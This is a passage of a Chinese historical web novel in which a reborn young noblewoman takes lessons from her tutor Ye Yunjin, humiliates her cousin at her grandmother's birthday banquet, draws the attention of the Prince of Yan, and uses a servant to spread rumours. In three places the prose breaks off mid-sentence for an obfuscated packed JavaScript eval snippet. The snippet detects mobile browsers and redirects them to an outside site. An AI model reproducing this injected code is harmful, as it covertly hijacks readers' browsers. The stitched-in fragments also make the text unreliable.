这些人，大多是前世沈彰替她请过的老师。有的教了半个月，有的却只教了一二天。起初有多争先恐后，后头便有多嗤之以鼻，一旦觉察她是个不受宠的挂名小姐，立即告辞离开，一刻都不肯多留，全是拜高踩低之辈。 远水解不了近渴，京城里叫得上名、学问又好的先生，本没有几个，窄窄一页纸她已写了个干净，可到头来，竟只来了个叶云锦。 朝和闭了闭眼，觉得有些啼笑皆非。 他们怕坏了招牌，不愿意沾傻子的浑水也是应当。 原来从始至终，都只有叶云锦。 而余下的势利之徒，想也是狗嘴里吐不出象牙。相府蹉跎十余年，朝和再清楚不过。思及此，她忽然愧疚起来，合璧听得不就是此般话么？ 真是该打，朝和懊恼，她望了望眼前的伤心人，决心换个话题。 “罢了。我们不说这些了。”朝和忙道，“说说叶云锦吧。” “我以为，她会大讹我们一笔。”她笑。 “小姐怎么知道？”合璧惊诧了一下，又兴致勃勃地张口，眼见是早忘了眼泪，“可她一听我们是为小姐你请的，沉默了一会，也不知道在想什么，立马变了卦。” 朝和一面听着，一面心里好笑。再怎么稳重，果然还是小姑娘。她感慨之际，也顺势接了一句：“猜的。”便神神秘秘地再不开口。 “……或许是同情小姐。”合璧默了一下，轻声道。 “或许吧。”朝和答，转瞬又朝合璧笑，“等她来了，或许还能开开眼呢。” 自朝和醒来，合璧难得一见她俏皮率性的模样，不由也笑起来。 “是了。”她神情柔和，“叶先生一定会大吃一惊。” …… 叶云锦确实大吃一惊。 不过不是因为茶余饭谈的傻子小姐神智恢复这件事，而是蒹葭院里下人们各司其职有条不紊的景象，率先吓了她一跳。 看不出啊，叶云锦难得高看了领路的合璧两眼，照顾一个心智残缺的已够费劲了，竟还得出空将院子理得井井有条。 她心里啧啧称奇，面上却不动声色，目不斜视地走过了郁郁葱葱的桂花树，推开了书房的门。 屋内只有几把雕花样式的长椅，一张大红酸枝的桌子，再有便是一面厚厚的书架。 叶云锦一眼便看出那架子很老了，可并不掉灰。 朝和就坐在那前头，托着腮，正朝她笑。 书房陈设少得可怜，颜色也是重色调，朝和却穿了身浅色衣裳。 她支棱着脑袋趴在那里，一下，便被凸了出来。 只见她坐在中间，四周却空落落的，看得人莫名寂寥，也莫名熟悉。 叶云锦忽然喉咙发干，她望向朝和，后者却依旧笑吟吟的。 “先生，你来啦？”朝和道。 她开口间，叶云锦又是一怔。 女孩子嗓音轻快，与多年前另一人的交织在一起，令叶云锦心神恍惚。 曾几何时，也有人是这样守在桌前，然后眼睛亮晶晶地喊她先生。 见叶云锦神色不对，朝和蹙了下眉：“先生？” 她这声来得突然，叶云锦回过神，才惊察自己沉默许久，不觉懊恼。 “抱歉。我失态了。”叶云锦叹息。 她望向满面忧色的朝和，竟罕见地笑了笑。 她这一笑，不说朝和，连自己也诧异。 自与那人分别，对上学生，她有多久未展露笑颜了？ 叶云锦恍神似的拎起笔。 “开始吧。”她道。 …… 等她再抬眸望向窗外，已是暮合四壁。 竟已这么晚了么？叶云锦有些恍惚，她低头瞧了一眼正板坐着、练了大半页字的朝和。 后者正竖着笔杆，毛茸茸的发梢染着落日的光。 叶云锦出神地看了一会，便伸手将朝和胳膊下压着的纸抽出来。 她低头察看了半响，却也忍不住眼底一片复杂。 偏偏朝和恍若未觉。 “怎么了？”她眉眼弯弯。 “无事。”叶云锦默了一下，还是叹了口气。 “你这个尾钩，我说一千道一万。”她强装精神，逼自己正色道，“怎奈你无论如何也记不住。” “非要多写一笔。”叶云锦睨她一眼，抬手就要将摹本卷走， 朝和见状，心一慌忙，赶紧倾身去够。 “先生！”她抛下笔杆，腔调里带着哀求：“下次，下次，我一定改。” “我们才第一次见呢。”她眼里哀戚，“你真狠心哪。” 朝和装腔作势，还抽了口气。 她眼中闪闪烁烁，口中却连连讨饶。 狡黠得像只狐狸。 “你……”叶云锦张了张口，还想说些什么，见此情形，却莫名心头一软，竟也未有他言。 “罢了。” 她只如此道，而后似妥协了一般开口： “我给你留几本帖子，你照着练吧。”叶云锦有些头疼，点了点桌面。 见朝和乖巧点头，云锦奔着警惕她讨巧的心理，打算再批评两句，可瞧着对方得逞窃喜的面庞，不知不觉间，她的唇角又弯了起来。 “既如此。”叶云锦好气又好笑，“今日便到这里罢。” 接着便拾掇东西去了。 她本想转身就走，可临行前又忍不住嘱托。 “我布置的课业，个个要紧。薄弱之处，你切莫忘记。” “我明日要检查。”叶云锦道。 她特意板起了脸。 朝和先是点头，见了她又忍不住好笑：“先生把我当什么了。”朝和不以为然。 叶云锦见状，当即瞪了她一眼。 “是，先生。”朝和收了心，绷紧脸正色道。 “还有。”注视着点头应声的朝和，叶云锦喉咙发干——莫名地，先前那股感觉又来了——她定定看着眼前的少女，嘴里竟鬼使神差地冒出句话来， “你……天资不错，万不可将课页荒废了。” 此话一出，两人都愣住了。 可心照不宣般的，谁也没戳穿。 “好。”朝和只是笑，“我记住了。” “必不负先生所托。” 听她郑重其事的一沉默，叶云锦反倒无言。 她眸光晦涩，静了一会，也不知道在想什么，许久才朝学生点点头，转身离开。 朝和伫在原地，望着她背影渐远。 才笑云锦僵硬，朝和却想起“荒废”二字，刹时间，又是一阵鼻酸。 这句话，哪怕说给沈从玉，也是中听的，朝和想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576765|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可惜，故人已逝。 叶云锦眸间染上痛色。 “她与你，真像啊。”叶云锦轻叹着，恍惚间，又想起两人初见的情景。 那时一个瘦弱弱的小姑娘，从沈彰后怯怯地探出头来，背着手，绞着指头喊她先生。 至于其他人，大约已走净了。 他们不喜欢这位二小姐。 就连沈彰也嫌她怕生。几句数落下去，小孩的眼圈便红了。她咬着嘴唇，颤栗了一下，却还是迎合着父亲，睁着一双含着泪的眼，微微尖着嘴朝上看。 是个胆子小的犟丫头。 叶云锦想。 小姑娘抬头很缓，低眉却很快，可还是教叶云锦记住了她的脸。 尤其是那双清凌凌的眼。 她含着泪，站在那，阳光打下来，整个人都闪着光，转一下眼珠，眼泪便一粒一粒地掉下来，宛如星子。 叶云锦当时心就软了。 她莞尔一笑拦住沈彰，神情柔和而不容置疑。 “无妨。”叶云锦坚定道，“我带她。” 沈彰当时是什么个神情，叶云锦已然忘却了，唯独那双眼睛，迄今还历历在目。 漂亮的眼睛她见过不少，能记住得却为数不多。 沈从玉算一个，朝和也算一个。 个个生得出挑又惹人怜。 就连授业之时，问及不懂之处，也一样地爱撒娇卖乖。 “真像。” 叶云锦叹息着，又一次地近乎哽咽，声音轻得要被吹散了。 微风徐徐，桂花树的新叶簌簌作响，转眼，又是一月。 “小姐，那穿这身如何？”合璧挑挑拣拣，又举了件绿衫粉齐胸襦裙出来。 朝和望了一眼，顿时失笑。 与前几件如出一辙的花里胡哨。 “罢了，就这件吧。”她弯唇，顿了顿，又道，“虽稚气了些，但胜在娇俏可爱。” 这满屋子的裙裳，花花绿绿的，倒真符合她先前一贯的小孩心性。 朝和慢吞吞地将前襟的飘带捋平。 只是为了买寿礼，如今银子已然殆尽，更遑论添置新衣了。 银子的事，还得想想办法才行。 朝和叹了口气。 寿宴当日，轩窗四敞，几节粉的绿的树枝丫丫忙里偷闲，一点一点地戳着窗边。 老太太一身团花绣的大红衣裳，喜气洋洋坐在上首，时不时偏过脸与赵氏说笑，就连她那个从未现身的丈夫也露了脸，站在人群中寒暄。 众人熙熙攘攘，好不热闹。 待来宾坐定，好戏开场，朝和依旧在一进来便寻到的座位上侯着。 她掀起眼皮，百无聊赖地望向前方。 不远处，朝容广袖翩翩，忙着以舞贺寿。 好看是好看，只是乏味了些，她这舞，不是早就跳过了么？朝和腹诽，忍不住又剥了个橘子。 好酸。 朝和皱起了脸。 她正想找个什么擦擦嘴，却听有人笑了一声。 朝和心中纳罕，可还不等她扭头探寻，那厢朝容却已显摆完毕，春风得意地朝她发难了。 “久闻阿和遍请名师，想必学问已大有长进，琴棋书画更是不在话下。”朝容笑吟吟的，眼里不怀好意。 “不知二小姐，又准备了什么贺礼？”她尾音上扬，眉眼轻嘲。 朝容这话说得得意洋洋，又有心刻意喧嚣，一时间，满屋人如有所感，尽数瞥向一方。 见此情形，朝和抿了抿唇，手边刚举起的茶杯也就此落下，不动声色地搁回原处。 朝容不会不知晓她吃了数不尽的闭门羹，朝和想。 旧事重提，反讽捧杀，她明摆着是要朝和下不来台。 ——朝容要算计她，也要瞧自己够不够格才行。 朝和直直盯着朝容，眼中晦暗不明。 5. 寿宴 朝容还在叫嚣。 她见朝和一声不响，气焰竟愈发高涨。 “朝和，你不会是怕了吧？”朝容激将道。 怕？朝和倏地笑了。 她睨了朝容一眼，余光扫过上首。 只见老太太眉头皱紧，而赵氏虽神色端庄，却依旧梗直了脖子朝她这厢看去，眼一眨也不眨。 真是有其母必有其女。朝和轻嘲。 她厌烦地撇开目光，再懒得瞧这群人一眼，只即刻就起了身。 她缓步走出来，稍纵便立定在宴席中央。 被大家盯着，也是云淡风轻的样子，两条浅绿的系带服帖垂在前襟下头，裙摆处纷飞着大片大片的桃花。 是个花枝招展的扮相。 ——她这个年纪的少女，敢这般穿的并不多。 一不留心便显得艳俗了。 可朝和敢。 她站在那儿，肌肤反被绿衫子衬得莹白无瑕，整个人清雅秀丽，颔首屈膝时斗篷披散，脸颊围着圈绒毛，精致得像个瓷娃娃。 “祖母大寿，朝和特请了尊玉菩萨，开光后又辗转寺庙承袭香火，至今已一月有余。”朝和低眉，躬身行礼，“近日抄写佛经如有感悟，于书法上，也大有裨益。” “孙女拙笔，献上百寿图一幅，恳望祖母不嫌。” “愿祖母——”朝和从容弯唇，眼神示意合璧奉上，“福寿绵长。” 她一字一顿，谁料一语惊起千层浪。 “……这二小姐，瞧着不与传闻一般啊。”一贵女喃喃道。 “还供奉了香火，当真是个痴儿吗？”蓝衣少女惊疑，“那可是荣业寺呢。” “还有字画。观老夫人神情，想必不会太差。” “这脑袋好了就是不一样。”红裙贵女慨叹，“可即便神智不清，京中也不该传成那样吧？” “欸，我倒是听说，国公府大房二房并不和睦。”黄衫的贵女忽然凑过来。她边说，边往旁瞥了一眼，又压低了声音，“二小姐一介孤女，自然……” 黄衫少女话至一半戛然而止，她朝众人使了个眼色。 小姐们面面相觑，不约而同地默不作声。 可朝容立在一傍，从头听到尾，早已脸色铁青。 往前看，是朝和出尽风头；抬头望，是老太太取过书画，眉心舒展，连连点头。 顷刻，朝容牙都要咬碎了。 ——经此一遭，怎是她白费功夫？ 朝容气急败坏，一时热血上头，当即不管不顾地开了口：“朝和，祖母大寿，你便只拿这种成色的玉糊弄吗？” 朝和转过头。“容姐姐，这是什么意思？”她缓缓道，似在斟酌：“你怎么知道，我用的什么玉？” 见朝和接话，朝容眼中瞬间迸发出光彩。 “这还有假？”她愤愤拔高了音量，“我好歹是个千金小姐，怎的也比你个傻子懂得多。” 此话一出，不说围观的宾客，老太太先蹙回了眉毛。 众目睽睽，胡乱揣测，还真是被宠大的。朝和心里冷笑。 “容儿。”连赵氏也忍不住出声，“罢了吧。” 她绞着帕子，两只手不按地握在一起，小心翼翼地环顾四周。 但朝容被冲昏了头，哪管得了那么多？ 母亲一声落下，她心里的那把火，委屈与不解也一并染上——烧得更旺了。 “祖母！”朝容嚷嚷，“为您祝寿是何等重要，朝和却只拿这样的白玉，简直是敷衍至极。” “几十两银子的玩意儿，也好意思拿出来吗？”朝容扭过头，瞥向朝和的目光得意又张扬，“祖母，朝和不敬之心，理当严惩！” 她嚷嚷着，眼中尽是优渥。 指责她？朝和轻笑，眉梢染上讥嘲。 真是大义凛然。瞧朝容那副样子，不知道的，还以为她给叶氏送了什么破铜烂铁，竟惹来这般愤慨。 朝和这样想着，却不动声色地低下了眉。 “祖母，为求心诚，从菩萨像开光，到供奉其承受香火，全是孙女亲力为之，不敢假手与他人。”她嗓音颤抖，“故而容姐姐说孙女不敬之辞，事关祖母，朝和万不敢当。” “至于白玉——”朝和顿了一下，头却埋得更低了，“虽不是顶顶名贵的物种，却也绝不是姐姐所说劣质之物！” 话至此处，她似气极般抬头望向朝容，满眼含泪，仿佛道不尽委屈与控诉。 可也仅仅一眼而已，她便又垂下了头。 “祖母。”朝和深吸一口气，声调却抖得更厉害了，“菩萨像是孙女亲手挑的，一一仔细看过才择出毫无瑕疵之玉。” 她倏地仰起脸，嗓音婉转哀切：“朝和，怎敢以残缺之玉玷污祖母之目？若真如此，对菩萨，对荣业寺，不也大不敬吗？” “容姐姐何故有此猜测，朝和不知。”朝和再次扭头，仍是可怜兮兮的样子，嘴角却浮上一抹不易察觉的笑。 朝容顷刻瞪大了眼：“你……” 她迅速反应过来。 “不——”她大张着嘴要辩解，朝和已跪伏在地。 “望祖母明查！” 一个叩首，掷地有声。 登时仿佛万籁俱寂，仅留她余音回响。 呆呆看着的朝容这才缓过劲来，当即拼了命地抢先道：“祖母！她，她污蔑我！” 她一个劲地哭喊着，全然不顾四周异样的眼光，只恨不得立刻拽住老夫人的衣角。 “我只说她那玉种不好，何时说过菩萨像有残缺？不说残缺，便是瑕疵也未说过！”朝容道，满脸慷慨激昂。 转头见朝和仍跪地不起，她“扑通”一声，也跪在了地上。 “祖母，您要信我啊。”朝容哀求着，见老夫人双眸紧闭，转着佛珠，期盼的目光又投在她那个娘身上，“母亲！您替我说话啊。母亲？” ——赵氏一脸尴尬。 “……父亲？”朝容声音愈来愈小。 ——朝彦别过了头。 朝容不敢置信地睁大了眼。 “不……”她步步后退，直至一个趔趄，后背磕向桌角。 她倚住身形，无助的目光环顾四周，最终停在身边的人上。 “是你。”她流着泪，满眼怨恨，“是你！” “你早算计好了是不是？”朝容声嘶力竭，她将朝和从地上捞起来，拼尽力气般地质问道，“你，你刚刚还在笑！” “她疯了。”有人惊诧，“朝二小姐还在哭呢。” “不说旁的，简直是丢尽了家族的脸。”另一人叹息。 只凝神听去，耳边尽数喁喁。朝容失魂落魄，手腕一松，自己先瘫在了地上。 朝和眼观鼻鼻观心，先往边上挪了一步。 “阿和，今日这事，你受委屈了。”叶氏叹息着，身形一动也没动，侧过头又对赵氏吩咐，“老二家的，你此后可要看着点朝容。” 又是个不痛不痒的警告。朝和冷笑。 可方才窃窃私语的黄衫少女倏地开口了，语气里满是惊奇。 “欸，她那个头面怎么是银制的？”贵女不解，“按国公小姐的规制，不该才买得起这样的首饰吧？” “说是全花光了，可你瞧那衣裳，似乎是过了季的吧？” “唉，真可怜，传闻八成是真的吧。” 尽管几人压低了声音，可场地本来也没多大，才逢变故又周遭寂静，有心自然听的清。 老太太的脸登时挂不住了。 “老二，你和你媳妇，平日多记挂着些和丫头。”叶氏的手藏在桌底下，搓佛珠都快冒了烟，脸上却还要扮作慈祥老太的模样，“那套新得的宝石头面，便赏给阿和吧，正与她今日的裙裳相配。” 赵氏心里恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576766|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得牙痒痒，却也只得装成贤惠样：“我是她二婶，应当的。” “那便将零花也涨涨吧。”漠然旁观的朝彦忽地沉声道。 “老爷？”赵氏惊诧道。 ——她陪老太太唱红脸还不够，他来巴巴地替那丫头送什么好处？ 她满心不解，朝彦却不耐烦道：“啊什么？” 他被嫡女丢尽了面子，心里本就郁闷；再一想明日约好聚众喝酒将被大肆嘲笑，更是不胜烦扰。 “妇道人家懂什么？”他狠狠一甩袖子，瞪了赵氏一眼，三言两语就高高拍定，“就这么办吧，大哥行军在外，总得照顾好侄女。” 见丈夫正在气头上，赵氏也不敢再劝，只狠狠瞪了朝和一眼，便焦灼地招呼人去抬她那女儿。 朝和被无辜殃及了也不恼，反而不卑不亢。 “谢祖母，谢二叔，谢二婶。”朝和道。 说完，也不管台上如何混乱，请辞又退回位子上去了。 见疲软的朝容被半拖半拽地抬走，朝和冷眼看着，心里只觉痛快。 “该她的。”珠连嘀嘀咕咕。 “不错，是该她的。”朝和笑吟吟的。 至此一别，朝容的名声，在京城怕是坏透了。 朝和一高兴，不自觉又剥了个橘子。 理所当然地，她又被酸倒了。 她苦着脸，却听又有人笑。 那笑声很轻，可离她很近。 朝和听得出来，就在她斜后方。 她三下五除二地将橘子咽下，猝不及防地回头一望，率先映入眼帘的，却并不是那个忍笑憋得辛苦的红衣少年，而是他身旁坐着的，正仔细瞧她的燕王殿下。 咫尺经年，他仍是一双点漆似的丹凤眼，黑沉沉的，浸着琉璃的光。 分明没在笑，却直勾勾地翘着眼尾，盯得人满心躁动。 是艳比朗月的一张面孔，唇极红，眼极亮；身上一袭白衣，头上一顶玉冠，眉飞入鬓，皎如玉树。 松风水月，姿容不减当年—— 竟真是卫翎。 朝和抖着唇，心中悄然碾出这几个字来，嘴上却干涩得怎么也说不出。 四目相对，她率先错开了目光。 卫翎怎么在这里？ 朝和咬了下舌尖，预备说些什么好适配重臣之女的身份，却仍像被什么堵住了喉咙。 ——说不清，道不明，她心乱如麻。 焦灼的心绪无处发泄，她只好攥紧了袖口，丝毫不敢直视卫翎的目光。 …… 她这厢正低着头百般思量，对面戴抹额的红衣少年却咧开了嘴。 “二哥你看。”他兴高采烈，“有意思吧。我瞧她被酸两次了。紧巴巴地皱着一张脸，还要生嚼硬吞下去。” “你说她是不是傻？” 是是是，容小世子天下第一精明，谁也比不过您去。 朝和腹诽，却也心知躲不过，索性充耳不闻地点了点头：“燕王殿下安好，容世子安好。” 卫翎还未开口，容毓先惊讶上了：“你认识我？” “容世子大名鼎鼎，自然是无人不知无人不晓。”朝和假笑。 沁阳长公主就这么一个儿子，捧在手心都怕化了，她岂会不知晓？ 这么一想，他叫卫翎声二哥也是应当。 朝和还在思忖，那厢容毓已开始嚷嚷了。 “欸，你怎么跟本世子——”容毓梗着脖子怼了半响，话脱口了一半才觉出不对。 他径直扭头，巴巴地望着卫翎：“我怎么觉得她在骂我呢？” 容毓一脸的摸不着头脑，朝和却心头直跳。 她了口气。 看来，燕王是避不开了。 罢了，兵来将挡，水来土掩。 朝和认命般地抬起脸，缓缓看向那张仿佛能摄人心魄的面容。 6. 造势 卫翎却睨了容毓一眼，似笑非笑的，却并不接话：“与小姑娘计较，亏你想得出来。” “二哥！”他哭嚎了一声，“平白无故见了个丫头，你怎不站我这边了？” “这话你便差了。”卫翎剥橘子的手一顿，却依旧垂着眼睑，心平静气道。 “你焉知不是她戏耍你？”他垂下眼睑，长长的睫毛歇落在面上，安稳了半响，又震颤着投下阴影，“我提醒了你，还不能说明我与你一道吗？” “哪跟哪啊。”容毓不满，他刚想张口胡咧咧地反驳几句，就被卫翎囫囵塞了个橘子。 “你自己尝尝便知道了。”卫翎淡声道。 他说完了又起身，眼见是要往外撤，容毓忙“腾”得一声站起来。 “什么，二哥？这便要走吗？不再留会？”容毓不解，却仍追着卫翎小跑跟上。 “不了。”卫翎长身玉立，头也没回，挑着拣着回复道，“怕你累着。” 容毓被噎了一下，也不泄气，换了个由头继续吵吵：“你今日简直是奇怪得出头，这话也忒密了……” “还是卫翎吗你。”他嘀嘀咕咕，亦步亦趋地跟在卫翎身后，抬头却见自己已落后了一大截，“你走这么快干嘛？又生气——” “——橘子还堵不上你的嘴吗？”卫翎侧过脸冷笑，翘着的眼尾嫣红。 “吃吃吃，我这就吃。真怕了您了。” 容毓唉声叹气，将橘瓣塞进嘴里，可转瞬功夫，他便忍不住“嘶”了一声，龇牙咧嘴起来。 “哎呦喂！”他哀嚎起来。 朝和在原处坐着，还能听见容毓怨怼：“你又诓我！明明酸死了！” 少年嘟囔着，直至一个转弯，连衣角也消失不见。 她早说酸了。朝和摇摇头，揉了揉酸软的脖颈。 手却忽然顿住了。 她倏地想起来，除了最初那惊鸿一瞥，由始至终，卫翎再没分给她一个眼神。 朝和手抖了一下。 那茶汤晃荡着，连带她心也震荡。 那一眼，朝和不懂，沈从玉却曾千万次在卫翎眼中见过。 深沉沉的，瞳眸带着点亮光，像冰海里一弯飘忽忽的小舟，点了烛火。他只敢抬头张望一下，便将眼波一敛，小心翼翼地又将火护住了。 ——卫翎认出她了吗？ ——不，怎么可能？她分明已改头换面！ 且不提一面之缘的朝和，便是沈从玉本尊，也别妄图卫翎能给她几分好脸。 她机械地将茶盏缀回嘴边，微微哆嗦着手。 朝和不敢看，不敢想，只当他随意一瞥，是她曲解其意。 只当他是闲来坐看风对月，与她萍水相逢，就此往昔别过，莫寻前路。 朝和怅然若失地闭了闭眼。 手中的茶盏也就此搁下。 …… “二哥。你不是要走吗？躲这儿干甚？”容毓纳罕，嘴里还叼着块糕点。 卫翎却没吭声。 他只专心凝望着白斗篷少女的背影，目光远远地落在她洁白的侧脸上。 桃花舒展在裙裾露的边角上，她一步一回眸，弯着眼，盯着身旁的丫鬟，发白的唇微抿着。 耳边露出两粒玉坠子，仿佛叮铃铃的，在亮晶晶地笑。 从玉也是如此。卫翎哀戚地想，她总爱凑在姐姐身边，叽叽喳喳地搭着沈瑜的肩膀，搀着她，孺慕着她，一个劲地说话；她弯着眉，眯着眼，甜甜的笑便从唇角流出来，像离开了玫瑰色的蜜罐子，可最终也叮叮当当的，成了血红的碎玉。 当真是凑巧吗？卫翎茫然地想，她的姿态，她的背影，她的笑。 还有宴席之上，她碰瓷朝容的手段，扮乖装可怜的模样。 夸大其词，讨得好处，不一向是她的拿手好戏吗？ 朝和又性情大变—— 卫翎忽地生出希冀来。 …… “二哥，二哥！”容毓啃完了点心，便开始一股脑地叫，“你想什么呢，我喊了你半天。” 话罢，不等卫翎开口，又眼巴巴地赶上前望去。 “什么也没有嘛。”他迷惑不解。 卫翎一把将他翻过来，无奈道：“说正事。” “哦对对对对。”容毓眨巴了几下眼，才回过神来。 他板正了脸：“你叫我查的事，我吩咐手下去办了。” “怎么？”卫翎迫切地追问道。 “我们的人说，在木兰山上扑了个空。只有空荡荡的一座庙，地上虽净是乱七八糟的痕迹，可人全跑了。” 容毓眉头紧锁：“二哥，太子的消息真有那么灵敏吗？那可是几万的兵，上哪转移了？” “总归会查到的。”卫翎神色郁郁，“他们跑不了。” 他抿紧了唇，黑眸沉沉，像淬了冰。 ——方才瞧朝和时还有些温情的凤眼，如今却像崩碎了的冷玉。碎片溅在地上，陷进角落的春雪里，安安静静，悄无声息。 …… 蒹葭院。 “好端端的，这天竟下起雪了。”合璧念叨着，替朝和解下了斗篷。 “呼……这天可真多变。”珠连道，边往手心呵气，“小姐身子弱，小心冻病了。” “不碍事。”朝和摇头，“今天这趟回来，我们手头便宽裕了。” “过两日发来月例银子，小姐的零用总算要翻一番了。”合璧感慨。 “有银子才好办事。”朝和道，她踱步至窗前，透过雕花格子往外看，小厮丫鬟还在洒扫。 “咱们这院子里，可有嘴巴利索的下人吗？”朝和扭过头，“把人叫进来，就说，我有事请祂办。” …… “奴才多宝，叩见小姐！” 转眼的功夫，一个瘦条条的小厮便钻了进来，一进来就行了大礼。 朝和不由多瞧了他两眼。 “你倒是上道。”她开口，“起来吧。” 多宝“哎”了一声，笑得眼睛都眯缝了。 “小姐过誉了。如今满国公府谁不知晓，小姐如今可受宠呢。”他点头哈腰，“应该的，应该的。” “嘴皮子确实利索。”朝和点点头，“大致的情形，她俩已与你说过了。” “这件事办得好，赏你五两银子。”她笑吟吟的，手中揣着管家刚送过来的汤婆子。 “哎！”多宝高兴地又应了一声，见朝和仍牵着嘴角，忍不住挠挠头犹疑道，“小姐。” “嗯？” “此事……”多宝吞吞吐吐，“不会难办吧。” 朝和脸上绽开了笑。 “好办的。”她道，“对你来说，最省心省力了。” …… 第二日晌午，国公府后门，有个黑衣服的小厮探头探脑地钻了出来。 鬼鬼祟祟的行径一下便引起行人注意。 “王多宝？”李嫂子磕着瓜子，疑惑不解，“你不好好帮工，窜出来干啥？” 多宝一听她这大嗓门就害怕，赶紧“嘘”了她一声：“我出来采买，待会便回去。” 尽管借口合理，李大嫂却不依不饶，她“呦”了一声，“呸”掉了嘴里的瓜子壳。 “瞧你那副样子。”她指着他嘲笑，“怕不是做了什么见不得让的事了吧？嗯？” “我告诉你。”见多宝一副“求您放过我吧”的样子，李大嫂一把拽住了他的袖子，“这话你要不说请，可就别想走了。” “我可是知道，这些大官的人家，最恨惫懒了。” “哎呦，哎呦，疼疼疼，我说，我说还不成吗？”多宝哭丧着脸，拉回了衣襟。 “快说！” “是是是我说。”多宝点头哈腰，简直是被烦到了极点。 “我今个儿洒扫，偷听到了二小姐与她丫鬟谈话。”多宝神神秘秘道，“就前几日，她不是把云锦阁的那个叶先生请回去了吗？” “这叶先生，教小姐画画，教琴，教书法的，哎呦，那功力——“多宝竖起大拇指，”可真了得。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576767|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那跟你偷听有啥关系呢？”李大嫂抱臂纳罕。 “哎呦您别急嘛，我这不快说到了嘛。”多宝连忙道，又压低了声音，“就小姐，前几日老太太寿宴，那一手好字呀，连老祖宗都在夸呢——” 此话一出，当即被李大嫂急不可耐地打断了：“不会就是那叶云锦教的吧？” “对呀就是她！”多宝狠狠点头，反应过来又惊诧，“原来您认识她啊。” 话毕，不等李大嫂开口，多宝便不耐地摆摆手。 “诶呦，我不跟您说了。我这刚一溜烟跑出来，气儿还没顺呢。” “这可是个女先生呢。” “我得赶紧去告我姊妹一声。”多宝转过头哀求，“婶子，我该说的不该说的都说了，能放我走了吧？” 李大婶还在怔愣，可那多宝，已跑出去八丈远了。 …… “你怎么已经回来了？”珠连惊诧，转瞬又警惕道，“小姐交代你办的，都办好了吗？” “办好了办好了。”多宝口干舌燥，却笑得合不拢嘴，还在手舞足蹈地比划，“我将这条街地长舌妇都找了一遍，保证把事儿办得漂漂亮亮的。” “你是没瞧她们恍惚的那个样儿啊。”多宝咕嘟咕嘟灌了口水，擦擦嘴又继续道，“哎呦可招笑了。” “该。”多宝鼻子里哼出个气音，“往日嫌叶先生冷脸，这下可好了，还得热屁股重新贴上去。” 恰逢此时，半空飞进来个钱袋子。 多宝手忙脚乱地接住了，扭头一瞧，茫然道：“合璧姐姐？” “还有这钱？”他胡乱摸摸钱袋子，里头鼓鼓囊囊的，“小姐赐赏啦？” “是。小姐多赏的。她方才在门前瞅了几眼，你尽心尽力，小姐清楚的。”合璧点头笑。 “诶！”多宝欣喜若狂，“往后，往后小姐有用得着我的地方，尽管来提！” 他傻笑着，又掏出块碎银子咬了一口，被硌疼了牙也“嘿嘿”叫。 “瞧你那样儿！”珠连笑骂，“小姐还能短得了你不成？” “小姐，多宝谢谢小姐！”多宝咧开嘴，一前一后，滑稽地来回作揖，逗乐间，又郑重承诺道，“小姐的的吩咐，奴才万死不辞！” …… 平光茶楼的一个包间里。 “我送你的大礼，你还喜欢吗？”朝和笑吟吟的，举起一杯香茗。 “我就知道是你。”叶云锦无奈道。 热茶里氤氲着雾气，她冷艳的眉眼也柔和许多。 “为什么帮我？”叶云锦轻声道，眼却盯着杯子。 碧绿的茶汤里旋着几片叶子，打着卷儿，密密层层散在茶水里，像初开的花儿。 “为什么？”朝和似是不懂般重复道，“你是我先生，又教了我书画，我大出风头摆脱污名，你可是头等的功劳。” 云锦注视着她，想从朝和脸上瞧出破绽来，可对方只是嫣然地笑着，眼弯成了月牙儿。 对视良久，终是云锦败下阵来。 “可你明明知道不是的。”云锦叹息着，她垂下眼睑，摩挲着杯壁，眼中满是温情，“我只教了你几天而已。” “你那些字，那些画，岂非一日之功？”叶云锦终于抬眸望向朝和，却神色悲戚，“你分明知道的，你显然提早便会。” “至于那些相似的笔法——”云锦深吸一口气，像沉痛得不能呼吸。 她深深盯着朝和，似乎要将其当下的模样记在心里，后者看不清神情，可云锦晓得，她在不作声地笑。 分明，她就坐在对面，牵着唇，舒展着眉眼。 可似乎是因隔着朦胧的雾气，仿佛离云锦很远。 云锦闭了闭眼，话至嘴边，又换了方向。 “我只是个幌子。”她机械地说。 “所以，你告诉我——”云锦忽然抬头，她眼睛死死盯着朝和，神情哀婉又悲切，“你告诉我，你到底——” 她滚了滚喉咙，顷刻却落下泪来。 “——想不想说？” 7. 相认 叶云锦哽咽着，她低头拭泪，眼泪珠子却如断了线般一粒粒落下来。 云锦一贯冷艳，朝和哪曾想此等情况？惊诧之余，亦不免凄楚起来。 